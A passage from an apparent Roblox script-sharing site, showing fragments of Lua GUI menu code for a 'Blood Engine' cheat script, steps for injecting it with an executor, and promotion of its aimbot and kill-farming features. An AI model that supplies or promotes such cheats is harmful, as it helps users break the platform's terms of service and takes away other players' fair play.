			return
		end
		for k,v in pairs(Menus) do
			v.Visible = v == frame
		end
	end)
end

local Menusa = {
[Paint] = MenuFramea;
}
for button,frame in pairs(Menusa) do
	button.MouseButton1Click:connect(function()
		if frame.Visible then
			frame.Visible = true
			return
		end
		for k,v in pairs(Menusa) do
			v.Visible = v == frame
		end
	end)
end


--- Open/Close ---

Open.MouseButton1Down:connect(function()
    OpenFrame.Visible = false
    MainFrame.Visible = true
end)

Minimize.MouseButton1Down:connect(function()
    MainFrame.Visible = false
    OpenFrame.Visible = true
end)

CloseBLOOD.MouseButton1Down:connect(function()
    BLOOD:destroy()
end)

--bring up menu
CurrentItem.MouseButton1Click:Connect(function()
if Picker.Visible == false then
Picker.Visible = true
else
Picker.Visible = false
end
end)

How To Use Blood Engine Script

Follow these simple steps on how to use the Blood Engine Script:

See also  2 Player Computer Tycoon Script

1. Choose an effective executor/exploit from the list (Free & Paid)

2. Download the executor you prefer. We have our list here.

3. Launch the Roblox game first, then the executor

4. When both the Roblox game and executor are open, press Inject or Attach (it depends on what executor you are using)

5. Paste the script you want to use

6. Press the Execute or Play button (again it depends on what executor you are using)

7. That’s all, enjoy using the Blood Engine script GUI

About The Blood Engine Script

The Roblox Blood Engine Script is a set of unique codes that allows the user to have aimbot features to farm player kill faster and use them as an in-game currency in the game. With its efficient algorithms and instinctive interface, it is very easy to use even if you are a newcomer or an experienced player.

A truly impressive tool for success in every Roblox game you will be part of.

By using the best script of the game, you now have an advantage over other players in terms of high-quality weapons and tactical shooting skills to score the highest kills every round. Unlock better-quality guns and war zones by the use of player kills to power up your shooter.

Blood Engine Script

If you are looking for the latest Blood Engine Codes to receive more gift items in the game, you can collect them here.

Always remember that all kinds of game scripts are illegal and may violate the Roblox Terms of Service, resulting in an account banning or other punishments. Be careful when using the script to avoid any game trouble while playing Roblox.

See also  Ultimate Tower Defense Script

So what are you waiting for? Download the appropriate script of the game and be one of the most savage shooters in Blood Engine today.

Another Similar Game :

No related posts.

Leave a Comment Cancel reply

Promo Codes

Get your hands on exclusive cosmetics, in-game currency, and special bonuses! Redeem our extensive list of Roblox promo codes and stay ahead of the game.

FREE ITEMS
PROMO CODES
STAR CODES

Game Codes

Unlock exclusive in-game perks, boost your stats, and get an edge in your favorite Roblox games with our collection of verified and non expired game codes.

VIEW ALL
GENRES
POPULAR CODES

Items Codes

Customize your Roblox avatar to the max! Browse our thousands of collection of item codes to unlock unique hats, accessories, gear, and many more.

VIEW ALL
CATEGORY
POPULAR ITEMS

Music Codes

Jam out to your favorite tunes in Roblox! Discover music codes for the latest hits and timeless classics to personalize your in-game experience.

VIEW ALL
STYLE
ARTIST

Best Games

Looking for the hottest Roblox games? Explore our curated recommendations, discover hidden gems, and find your next gaming obsession.

BEST GAMES
THEMES
POPULAR GAMES

Roblox Guides

Level up your Roblox knowledge! Access in-depth guides, powerful tools, and valuable resources to enhance your gameplay and creation skills.

VIEW ALL
GAMES WIKI
ERRORS

Tools

Tap into the Roblox community! Find player-created tools, expert guides, and collaborative resources to elevate your Roblox journey.

VIEW ALL
USERNAME GENERATOR
EXECUTOR

Roblox Scripts

Unlock hidden potential, customize your gameplay, and push the limits of your favorite Roblox game with our powerful script collection.

VIEW ALL
GENRE
POPULAR SCRIPTS
Roblox Database Logo

Roblox Database is your all-in-one source for anything and everything related to Roblox.

Whether you’re looking for the latest game codes, item codes, or promo codes or need some scripting guidance, we’ve got you covered.

Facebook-f Twitter Youtube Instagram Pinterest
Quick Links
  • About
  • Contact
  • Tools
  • Privacy Policy
  • Terms of Service
  • Copyright Policy
Menu
  • Home
  • Best Games
  • Roblox Codes
    • Promo Codes
    • Game Codes
    • Item Codes
    • Music Codes
    • Star Codes
    • Color Codes
  • Roblox Guides
  • Roblox Scripts
  • Roblox Tools
  • Home
  • Best Games
  • Roblox Codes
    • Promo Codes
    • Game Codes
    • Item Codes
    • Music Codes
    • Star Codes
    • Color Codes
  • Roblox Guides
  • Roblox Scripts
  • Roblox Tools
Download
chrome logo
  • Email: robloxdatabase23@gmail.com
  • Android : Coming Soon
  • IOS : Coming Soon

© 2025 All Rights Reserved.